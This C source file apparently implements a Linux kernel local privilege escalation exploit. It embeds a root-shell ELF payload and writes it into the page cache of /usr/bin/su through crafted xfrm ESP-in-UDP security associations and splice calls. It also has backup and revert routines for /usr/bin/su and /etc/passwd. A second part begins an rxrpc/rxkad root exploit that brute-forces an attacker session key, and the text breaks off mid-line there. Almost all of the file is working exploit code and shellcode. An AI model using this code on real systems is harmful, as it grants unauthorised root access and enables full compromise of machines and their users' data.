cve-2026-43284.c (82666B)
1 #define _GNU_SOURCE 2 #include <arpa/inet.h> 3 #include <errno.h> 4 #include <fcntl.h> 5 #include <linux/netlink.h> 6 #include <linux/rtnetlink.h> 7 #include <linux/xfrm.h> 8 #include <net/if.h> 9 #include <netinet/in.h> 10 #include <sched.h> 11 #include <stdint.h> 12 #include <stdio.h> 13 #include <stdlib.h> 14 #include <string.h> 15 #include <sys/ioctl.h> 16 #include <sys/socket.h> 17 #include <sys/stat.h> 18 #include <sys/syscall.h> 19 #include <sys/types.h> 20 #include <sys/uio.h> 21 #include <sys/wait.h> 22 #include <unistd.h> 23 24 #include "setup.h" 25 #ifndef UDP_ENCAP 26 #define UDP_ENCAP 100 27 #endif 28 #ifndef UDP_ENCAP_ESPINUDP 29 #define UDP_ENCAP_ESPINUDP 2 30 #endif 31 #ifndef SOL_UDP 32 #define SOL_UDP 17 33 #endif 34 35 #define ENC_PORT 4500 36 #define SEQ_VAL 200 37 #define REPLAY_SEQ 100 38 #define TARGET_PATH "/usr/bin/su" 39 #define SU_BACKUP_PATH "/tmp/.cve_2026_43284_su_backup" 40 #define PASSWD_BACKUP_PATH "/tmp/.cve_2026_43284_passwd_backup" 41 #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ 42 #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ 43 #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ 44 45 /* 46 * 192-byte minimal x86_64 root-shell ELF. 47 * _start at 0x400078: 48 * setgid(0); setuid(0); setgroups(0, NULL); 49 * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); 50 * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. 51 * 52 * Setting TERM in the new shell's env silences the 53 * "tput: No value for $TERM" / "test: : integer expected" noise 54 * /etc/bash.bashrc and friends emit when TERM is unset. 55 * 56 * Code (from offset 0x78): 57 * 31 ff xor edi, edi 58 * 31 f6 xor esi, esi 59 * 31 c0 xor eax, eax 60 * b0 6a mov al, 0x6a ; setgid 61 * 0f 05 syscall 62 * b0 69 mov al, 0x69 ; setuid 63 * 0f 05 syscall 64 * b0 74 mov al, 0x74 ; setgroups 65 * 0f 05 syscall 66 * 6a 00 push 0 ; envp[1] = NULL 67 * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" 68 * 50 push rax ; envp[0] 69 * 48 89 e2 mov rdx, rsp ; rdx = envp 70 * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" 71 * 31 f6 xor esi, esi ; rsi = NULL (argv) 72 * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) 73 * 0f 05 syscall ; execve("/bin/sh",NULL,envp) 74 * "TERM=xterm\0" (offset 0xa5..0xaf) 75 * "/bin/sh\0" (offset 0xb0..0xb7) 76 */ 77 static const uint8_t shell_elf[PAYLOAD_LEN] = { 78 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 79 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 80 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 81 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 82 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 83 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 84 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 85 0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12, 86 0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 87 0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e, 88 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 89 }; 90 91 extern int g_su_verbose; 92 int g_su_verbose = 0; 93 #define SLOG(fmt, ...) \ 94 do { \ 95 if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); \ 96 } while (0) 97 98 static int write_proc(const char *path, const char *buf) { 99 int fd = open(path, O_WRONLY); 100 if (fd < 0) return -1; 101 int n = write(fd, buf, strlen(buf)); 102 close(fd); 103 return n; 104 } 105 106 static void setup_userns_netns(void) { 107 uid_t real_uid = getuid(); 108 gid_t real_gid = getgid(); 109 if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { 110 SLOG("unshare: %s", strerror(errno)); 111 exit(1); 112 } 113 write_proc("/proc/self/setgroups", "deny"); 114 char map[64]; 115 snprintf(map, sizeof(map), "0 %u 1", real_uid); 116 if (write_proc("/proc/self/uid_map", map) < 0) { 117 SLOG("uid_map: %s", strerror(errno)); 118 exit(1); 119 } 120 snprintf(map, sizeof(map), "0 %u 1", real_gid); 121 if (write_proc("/proc/self/gid_map", map) < 0) { 122 SLOG("gid_map: %s", strerror(errno)); 123 exit(1); 124 } 125 int s = socket(AF_INET, SOCK_DGRAM, 0); 126 if (s < 0) { 127 SLOG("socket: %s", strerror(errno)); 128 exit(1); 129 } 130 struct ifreq ifr; 131 memset(&ifr, 0, sizeof(ifr)); 132 strncpy(ifr.ifr_name, "lo", IFNAMSIZ); 133 if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { 134 SLOG("SIOCGIFFLAGS: %s", strerror(errno)); 135 exit(1); 136 } 137 ifr.ifr_flags |= IFF_UP | IFF_RUNNING; 138 if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { 139 SLOG("SIOCSIFFLAGS: %s", strerror(errno)); 140 exit(1); 141 } 142 close(s); 143 } 144 145 static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { 146 struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); 147 rta->rta_type = type; 148 rta->rta_len = RTA_LENGTH(len); 149 memcpy(RTA_DATA(rta), data, len); 150 nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); 151 } 152 153 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { 154 int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 155 if (sk < 0) return -1; 156 struct sockaddr_nl nl = {.nl_family = AF_NETLINK}; 157 if (bind(sk, (struct sockaddr *)&nl, sizeof(nl)) < 0) { 158 close(sk); 159 return -1; 160 } 161 162 char buf[4096] = {0}; 163 struct nlmsghdr *nlh = (struct nlmsghdr *)buf; 164 nlh->nlmsg_type = XFRM_MSG_NEWSA; 165 nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; 166 nlh->nlmsg_pid = getpid(); 167 nlh->nlmsg_seq = 1; 168 nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); 169 170 struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); 171 xs->id.daddr.a4 = inet_addr("127.0.0.1"); 172 xs->id.spi = htonl(spi); 173 xs->id.proto = IPPROTO_ESP; 174 xs->saddr.a4 = inet_addr("127.0.0.1"); 175 xs->family = AF_INET; 176 xs->mode = XFRM_MODE_TRANSPORT; 177 xs->replay_window = 0; 178 xs->reqid = 0x1234; 179 xs->flags = XFRM_STATE_ESN; 180 xs->lft.soft_byte_limit = (uint64_t)-1; 181 xs->lft.hard_byte_limit = (uint64_t)-1; 182 xs->lft.soft_packet_limit = (uint64_t)-1; 183 xs->lft.hard_packet_limit = (uint64_t)-1; 184 xs->sel.family = AF_INET; 185 xs->sel.prefixlen_d = 32; 186 xs->sel.prefixlen_s = 32; 187 xs->sel.daddr.a4 = inet_addr("127.0.0.1"); 188 xs->sel.saddr.a4 = inet_addr("127.0.0.1"); 189 190 { 191 char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; 192 memset(alg_buf, 0, sizeof(alg_buf)); 193 struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; 194 strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name) - 1); 195 aa->alg_key_len = 32 * 8; 196 aa->alg_trunc_len = 128; 197 memset(aa->alg_key, 0xAA, 32); 198 put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); 199 } 200 { 201 char alg_buf[sizeof(struct xfrm_algo) + 16]; 202 memset(alg_buf, 0, sizeof(alg_buf)); 203 struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; 204 strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name) - 1); 205 ea->alg_key_len = 16 * 8; 206 memset(ea->alg_key, 0xBB, 16); 207 put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); 208 } 209 { 210 struct xfrm_encap_tmpl enc; 211 memset(&enc, 0, sizeof(enc)); 212 enc.encap_type = UDP_ENCAP_ESPINUDP; 213 enc.encap_sport = htons(ENC_PORT); 214 enc.encap_dport = htons(ENC_PORT); 215 enc.encap_oa.a4 = 0; 216 put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); 217 } 218 { 219 char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; 220 memset(esn_buf, 0, sizeof(esn_buf)); 221 struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; 222 esn->bmp_len = 1; 223 esn->oseq = 0; 224 esn->seq = REPLAY_SEQ; 225 esn->oseq_hi = 0; 226 esn->seq_hi = patch_seqhi; 227 esn->replay_window = 32; 228 put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); 229 } 230 231 if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { 232 close(sk); 233 return -1; 234 } 235 char rbuf[4096]; 236 int n = recv(sk, rbuf, sizeof(rbuf), 0); 237 if (n < 0) { 238 close(sk); 239 return -1; 240 } 241 struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; 242 if (rh->nlmsg_type == NLMSG_ERROR) { 243 struct nlmsgerr *e = NLMSG_DATA(rh); 244 if (e->error) { 245 close(sk); 246 return -1; 247 } 248 } 249 close(sk); 250 return 0; 251 } 252 253 static int do_one_write(const char *path, off_t offset, uint32_t spi) { 254 int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); 255 if (sk_recv < 0) return -1; 256 int one = 1; 257 setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 258 struct sockaddr_in sa_d = { 259 .sin_family = AF_INET, 260 .sin_port = htons(ENC_PORT), 261 .sin_addr = {inet_addr("127.0.0.1")}, 262 }; 263 if (bind(sk_recv, (struct sockaddr *)&sa_d, sizeof(sa_d)) < 0) { 264 close(sk_recv); 265 return -1; 266 } 267 int encap = UDP_ENCAP_ESPINUDP; 268 if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { 269 close(sk_recv); 270 return -1; 271 } 272 int sk_send = socket(AF_INET, SOCK_DGRAM, 0); 273 if (sk_send < 0) { 274 close(sk_recv); 275 return -1; 276 } 277 if (connect(sk_send, (struct sockaddr *)&sa_d, sizeof(sa_d)) < 0) { 278 close(sk_send); 279 close(sk_recv); 280 return -1; 281 } 282 int file_fd = open(path, O_RDONLY); 283 if (file_fd < 0) { 284 close(sk_send); 285 close(sk_recv); 286 return -1; 287 } 288 289 int pfd[2]; 290 if (pipe(pfd) < 0) { 291 close(file_fd); 292 close(sk_send); 293 close(sk_recv); 294 return -1; 295 } 296 297 uint8_t hdr[24]; 298 *(uint32_t *)(hdr + 0) = htonl(spi); 299 *(uint32_t *)(hdr + 4) = htonl(SEQ_VAL); 300 memset(hdr + 8, 0xCC, 16); 301 302 struct iovec iov_h = {.iov_base = hdr, .iov_len = sizeof(hdr)}; 303 if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { 304 close(file_fd); 305 close(pfd[0]); 306 close(pfd[1]); 307 close(sk_send); 308 close(sk_recv); 309 return -1; 310 } 311 off_t off = offset; 312 ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); 313 if (s != 16) { 314 close(file_fd); 315 close(pfd[0]); 316 close(pfd[1]); 317 close(sk_send); 318 close(sk_recv); 319 return -1; 320 } 321 s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); 322 /* still proceed regardless of splice rc — kernel may have already 323 * decrypted the page in the time between splice and recv */ 324 usleep(150 * 1000); 325 326 close(file_fd); 327 close(pfd[0]); 328 close(pfd[1]); 329 close(sk_send); 330 close(sk_recv); 331 return s == 40 ? 0 : -1; 332 } 333 334 static int verify_byte(const char *path, off_t offset, uint8_t want) { 335 int fd = open(path, O_RDONLY); 336 if (fd < 0) return -1; 337 uint8_t got; 338 if (pread(fd, &got, 1, offset) != 1) { 339 close(fd); 340 return -1; 341 } 342 close(fd); 343 return got == want ? 0 : -1; 344 } 345 346 /* ------------------------------------------------------------------ */ 347 /* Backup / Revert for /usr/bin/su */ 348 /* */ 349 /* A copy of the original su binary is saved before any corruption. */ 350 /* revert_su() restores it (including drop_caches so the page cache */ 351 /* is re-read from disk), then removes the backup temp file. */ 352 /* ------------------------------------------------------------------ */ 353 354 static int backup_su(void) { 355 struct stat st; 356 if (stat(SU_BACKUP_PATH, &st) == 0) { 357 SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH); 358 return 0; 359 } 360 int src = open(TARGET_PATH, O_RDONLY); 361 if (src < 0) { 362 SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno)); 363 return -1; 364 } 365 int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); 366 if (dst < 0) { 367 SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno)); 368 close(src); 369 return -1; 370 } 371 char buf[4096]; 372 ssize_t n; 373 while ((n = read(src, buf, sizeof(buf))) > 0) { 374 if (write(dst, buf, n) != n) { 375 SLOG("backup_su: write failed: %s", strerror(errno)); 376 close(src); 377 close(dst); 378 unlink(SU_BACKUP_PATH); 379 return -1; 380 } 381 } 382 close(src); 383 close(dst); 384 if (n < 0) { 385 SLOG("backup_su: read failed: %s", strerror(errno)); 386 unlink(SU_BACKUP_PATH); 387 return -1; 388 } 389 SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH); 390 return 0; 391 } 392 393 static int revert_su(void) { 394 int src = open(SU_BACKUP_PATH, O_RDONLY); 395 if (src < 0) { 396 SLOG("revert_su: no backup at %s", SU_BACKUP_PATH); 397 return -1; 398 } 399 int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC); 400 if (dst < 0) { 401 SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno)); 402 close(src); 403 return -1; 404 } 405 char buf[4096]; 406 ssize_t n; 407 while ((n = read(src, buf, sizeof(buf))) > 0) { 408 if (write(dst, buf, n) != n) { 409 SLOG("revert_su: write failed: %s", strerror(errno)); 410 close(src); 411 close(dst); 412 return -1; 413 } 414 } 415 close(src); 416 close(dst); 417 if (n < 0) { 418 SLOG("revert_su: read failed: %s", strerror(errno)); 419 return -1; 420 } 421 /* Sync to disk and drop caches so the restored page cache is read */ 422 int sfd = open(TARGET_PATH, O_RDONLY); 423 if (sfd >= 0) { 424 syncfs(sfd); 425 close(sfd); 426 } 427 write_proc("/proc/sys/vm/drop_caches", "1"); 428 unlink(SU_BACKUP_PATH); 429 SLOG("%s reverted from backup, page cache flushed", TARGET_PATH); 430 return 0; 431 } 432 433 /* ------------------------------------------------------------------ */ 434 /* Backup / Revert for /etc/passwd */ 435 /* */ 436 /* A copy of the original /etc/passwd is saved before any corruption. */ 437 /* revert_passwd() restores it (including drop_caches so the page */ 438 /* cache is re-read from disk), then removes the backup temp file. */ 439 /* ------------------------------------------------------------------ */ 440 441 #define PASSWD_TARGET_PATH "/etc/passwd" 442 443 static int backup_passwd(void) { 444 struct stat st; 445 if (stat(PASSWD_BACKUP_PATH, &st) == 0) { 446 SLOG("passwd backup already exists at %s, skipping", PASSWD_BACKUP_PATH); 447 return 0; 448 } 449 int src = open(PASSWD_TARGET_PATH, O_RDONLY); 450 if (src < 0) { 451 SLOG("backup_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); 452 return -1; 453 } 454 int dst = open(PASSWD_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); 455 if (dst < 0) { 456 SLOG("backup_passwd: open(%s): %s", PASSWD_BACKUP_PATH, strerror(errno)); 457 close(src); 458 return -1; 459 } 460 char buf[4096]; 461 ssize_t n; 462 while ((n = read(src, buf, sizeof(buf))) > 0) { 463 if (write(dst, buf, n) != n) { 464 SLOG("backup_passwd: write failed: %s", strerror(errno)); 465 close(src); 466 close(dst); 467 unlink(PASSWD_BACKUP_PATH); 468 return -1; 469 } 470 } 471 close(src); 472 close(dst); 473 if (n < 0) { 474 SLOG("backup_passwd: read failed: %s", strerror(errno)); 475 unlink(PASSWD_BACKUP_PATH); 476 return -1; 477 } 478 SLOG("backed up %s to %s", PASSWD_TARGET_PATH, PASSWD_BACKUP_PATH); 479 return 0; 480 } 481 482 static int revert_passwd(void) { 483 int src = open(PASSWD_BACKUP_PATH, O_RDONLY); 484 if (src < 0) { 485 SLOG("revert_passwd: no backup at %s", PASSWD_BACKUP_PATH); 486 return -1; 487 } 488 int dst = open(PASSWD_TARGET_PATH, O_WRONLY | O_TRUNC); 489 if (dst < 0) { 490 SLOG("revert_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); 491 close(src); 492 return -1; 493 } 494 char buf[4096]; 495 ssize_t n; 496 while ((n = read(src, buf, sizeof(buf))) > 0) { 497 if (write(dst, buf, n) != n) { 498 SLOG("revert_passwd: write failed: %s", strerror(errno)); 499 close(src); 500 close(dst); 501 return -1; 502 } 503 } 504 close(src); 505 close(dst); 506 if (n < 0) { 507 SLOG("revert_passwd: read failed: %s", strerror(errno)); 508 return -1; 509 } 510 /* Sync to disk and drop caches so the restored page cache is read */ 511 int sfd = open(PASSWD_TARGET_PATH, O_RDONLY); 512 if (sfd >= 0) { 513 syncfs(sfd); 514 close(sfd); 515 } 516 write_proc("/proc/sys/vm/drop_caches", "1"); 517 unlink(PASSWD_BACKUP_PATH); 518 SLOG("%s reverted from backup, page cache flushed", PASSWD_TARGET_PATH); 519 return 0; 520 } 521 522 static int corrupt_su(void) { 523 setup_userns_netns(); 524 usleep(100 * 1000); 525 526 /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the 527 * desired payload word in its seq_hi field. */ 528 for (int i = 0; i < PAYLOAD_LEN / 4; i++) { 529 uint32_t spi = 0xDEADBE10 + i; 530 uint32_t seqhi = ((uint32_t)shell_elf[i * 4 + 0] << 24) | ((uint32_t)shell_elf[i * 4 + 1] << 16) | 531 ((uint32_t)shell_elf[i * 4 + 2] << 8) | ((uint32_t)shell_elf[i * 4 + 3]); 532 if (add_xfrm_sa(spi, seqhi) < 0) { 533 SLOG("add_xfrm_sa #%d failed", i); 534 return -1; 535 } 536 } 537 SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); 538 539 for (int i = 0; i < PAYLOAD_LEN / 4; i++) { 540 uint32_t spi = 0xDEADBE10 + i; 541 off_t off = PATCH_OFFSET + i * 4; 542 if (do_one_write(TARGET_PATH, off, spi) < 0) { 543 SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); 544 return -1; 545 } 546 } 547 SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); 548 return 0; 549 } 550 551 int su_lpe_main(int argc, char **argv) { 552 int revert_mode = 0; 553 for (int i = 1; i < argc; i++) { 554 if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) 555 g_su_verbose = 1; 556 else if (!strcmp(argv[i], "--corrupt-only")) 557 ; /* compat: this body always corrupts only */ 558 else if (!strcmp(argv[i], "--revert")) 559 revert_mode = 1; 560 } 561 if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; 562 563 if (revert_mode) return revert_su() == 0 ? 0 : 1; 564 565 /* Back up the original su binary before any corruption attempt. */ 566 backup_su(); 567 568 pid_t cpid = fork(); 569 if (cpid < 0) return 1; 570 if (cpid == 0) { 571 int rc = corrupt_su(); 572 _exit(rc == 0 ? 0 : 2); 573 } 574 int cstatus; 575 waitpid(cpid, &cstatus, 0); 576 if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { 577 SLOG("corruption stage failed (status=0x%x)", cstatus); 578 return 1; 579 } 580 581 /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 582 * after our overwrite) should be 0x31 0xff (xor edi, edi — first 583 * instruction of the new shellcode). */ 584 if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { 585 SLOG("post-write verify failed (target unchanged)"); 586 return 1; 587 } 588 SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", ENTRY_OFFSET); 589 return 0; 590 } 591 /* 592 * rxrpc/rxkad LPE — uid=1000 → root 593 */ 594 595 #define _GNU_SOURCE 596 #include <arpa/inet.h> 597 #include <errno.h> 598 #include <fcntl.h> 599 #include <linux/if_alg.h> 600 #include <linux/keyctl.h> 601 #include <linux/rxrpc.h> 602 #include <net/if.h> 603 #include <netinet/in.h> 604 #include <poll.h> 605 #include <sched.h> 606 #include <signal.h> 607 #include <stdarg.h> 608 #include <stdint.h> 609 #include <stdio.h> 610 #include <stdlib.h> 611 #include <string.h> 612 #include <sys/ioctl.h> 613 #include <sys/mman.h> 614 #include <sys/socket.h> 615 #include <sys/stat.h> 616 #include <sys/syscall.h> 617 #include <sys/types.h> 618 #include <sys/uio.h> 619 #include <sys/wait.h> 620 #include <termios.h> 621 #include <time.h> 622 #include <unistd.h> 623 624 #ifndef AF_RXRPC 625 #define AF_RXRPC 33 626 #endif 627 #ifndef PF_RXRPC 628 #define PF_RXRPC AF_RXRPC 629 #endif 630 #ifndef SOL_RXRPC 631 #define SOL_RXRPC 272 632 #endif 633 #ifndef SOL_ALG 634 #define SOL_ALG 279 635 #endif 636 #ifndef AF_ALG 637 #define AF_ALG 38 638 #endif 639 #ifndef MSG_SPLICE_PAGES 640 #define MSG_SPLICE_PAGES 0x8000000 641 #endif 642 643 /* ---- rxrpc constants ---- */ 644 #define RXRPC_PACKET_TYPE_DATA 1 645 #define RXRPC_PACKET_TYPE_ACK 2 646 #define RXRPC_PACKET_TYPE_ABORT 4 647 #define RXRPC_PACKET_TYPE_CHALLENGE 6 648 #define RXRPC_PACKET_TYPE_RESPONSE 7 649 #define RXRPC_CLIENT_INITIATED 0x01 650 #define RXRPC_REQUEST_ACK 0x02 651 #define RXRPC_LAST_PACKET 0x04 652 #define RXRPC_CHANNELMASK 3 653 #define RXRPC_CIDSHIFT 2 654 655 struct rxrpc_wire_header { 656 uint32_t epoch; 657 uint32_t cid; 658 uint32_t callNumber; 659 uint32_t seq; 660 uint32_t serial; 661 uint8_t type; 662 uint8_t flags; 663 uint8_t userStatus; 664 uint8_t securityIndex; 665 uint16_t cksum; /* big-endian on wire */ 666 uint16_t serviceId; 667 } __attribute__((packed)); 668 669 struct rxkad_challenge { 670 uint32_t version; 671 uint32_t nonce; 672 uint32_t min_level; 673 uint32_t __padding; 674 } __attribute__((packed)); 675 676 /* Attacker-chosen 8-byte session key used for the rxkad token. 677 * Mutable because the LPE brute-force iterates over keys looking for 678 * one that decrypts the file's UID field to a "0:" prefix. */ 679 static uint8_t SESSION_KEY[8] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}; 680 681 #define LOG(fmt, ...) \ 682 do { \ 683 if (g_cve_ctx.verbose) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__); \ 684 } while (0) 685 #define WARN(fmt, ...) \ 686 do { \ 687 if (g_cve_ctx.verbose) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__); \ 688 } while (0) 689 #define DBG(fmt, ...) \ 690 do { \ 691 if (g_cve_ctx.verbose) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__); \ 692 } while (0) 693 694 /* =================================================================== */ 695 /* unshare + map setup */ 696 /* =================================================================== */ 697 698 static int write_file(const char *path, const char *fmt, ...) { 699 int fd = open(path, O_WRONLY); 700 if (fd < 0) return -1; 701 char buf[256]; 702 va_list ap; 703 va_start(ap, fmt); 704 int n = vsnprintf(buf, sizeof(buf), fmt, ap); 705 va_end(ap); 706 int r = (int)write(fd, buf, n); 707 close(fd); 708 return r; 709 } 710 711 static int do_unshare_userns_netns(void) { 712 uid_t real_uid = getuid(); 713 gid_t real_gid = getgid(); 714 if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { 715 WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); 716 return -1; 717 } 718 LOG("unshare(USER|NET) OK, real uid=%u", real_uid); 719 write_file("/proc/self/setgroups", "deny"); 720 if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { 721 WARN("uid_map: %s", strerror(errno)); 722 return -1; 723 } 724 if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { 725 WARN("gid_map: %s", strerror(errno)); 726 return -1; 727 } 728 LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", real_uid, real_gid); 729 730 /* ifup lo */ 731 int s = socket(AF_INET, SOCK_DGRAM, 0); 732 if (s >= 0) { 733 struct ifreq ifr; 734 memset(&ifr, 0, sizeof(ifr)); 735 strcpy(ifr.ifr_name, "lo"); 736 if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { 737 ifr.ifr_flags |= IFF_UP | IFF_RUNNING; 738 if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) 739 WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); 740 else 741 LOG("lo brought UP in new netns"); 742 } 743 close(s); 744 } 745 return 0; 746 } 747 748 /* =================================================================== */ 749 /* rxrpc key (rxkad v1 token with attacker session key) */ 750 /* =================================================================== */ 751 752 static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { 753 return syscall(SYS_add_key, type, desc, payload, plen, ringid); 754 } 755 756 static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) { 757 uint8_t *p = out; 758 uint32_t now = (uint32_t)time(NULL); 759 uint32_t expires = now + 86400; 760 *(uint32_t *)p = htonl(0); 761 p += 4; /* flags */ 762 const char *cell = "evil"; 763 uint32_t clen = strlen(cell); 764 *(uint32_t *)p = htonl(clen); 765 p += 4; 766 memcpy(p, cell, clen); 767 uint32_t pad = (4 - (clen & 3)) & 3; 768 memset(p + clen, 0, pad); 769 p += clen + pad; 770 *(uint32_t *)p = htonl(1); 771 p += 4; /* ntoken */ 772 uint8_t *toklen_p = p; 773 p += 4; 774 uint8_t *tokstart = p; 775 *(uint32_t *)p = htonl(2); 776 p += 4; /* sec_ix = RXKAD */ 777 *(uint32_t *)p = htonl(0); 778 p += 4; /* vice_id */ 779 *(uint32_t *)p = htonl(1); 780 p += 4; /* kvno */ 781 memcpy(p, SESSION_KEY, 8); 782 p += 8; /* session_key K */ 783 *(uint32_t *)p = htonl(now); 784 p += 4; 785 *(uint32_t *)p = htonl(expires); 786 p += 4; 787 *(uint32_t *)p = htonl(1); 788 p += 4; /* primary_flag */ 789 *(uint32_t *)p = htonl(8); 790 p += 4; /* ticket_len */ 791 memset(p, 0xCC, 8); 792 p += 8; /* ticket */ 793 uint32_t toklen = (uint32_t)(p - tokstart); 794 *(uint32_t *)toklen_p = htonl(toklen); 795 if ((size_t)(p - out) > maxlen) { 796 errno = E2BIG; 797 return -1; 798 } 799 return (int)(p - out); 800 } 801 802 static long add_rxrpc_key(const char *desc) { 803 uint8_t buf[512]; 804 int n = build_rxrpc_v1_token(buf, sizeof(buf)); 805 if (n < 0) return -1; 806 return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); 807 } 808 809 /* =================================================================== */ 810 /* AF_ALG pcbc(fcrypt) helpers */ 811 /* =================================================================== */ 812 813 static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { 814 int s = socket(AF_ALG, SOCK_SEQPACKET, 0); 815 if (s < 0) { 816 WARN("socket(AF_ALG): %s", strerror(errno)); 817 return -1; 818 } 819 struct sockaddr_alg sa = {.salg_family = AF_ALG}; 820 strcpy((char *)sa.salg_type, "skcipher"); 821 strcpy((char *)sa.salg_name, 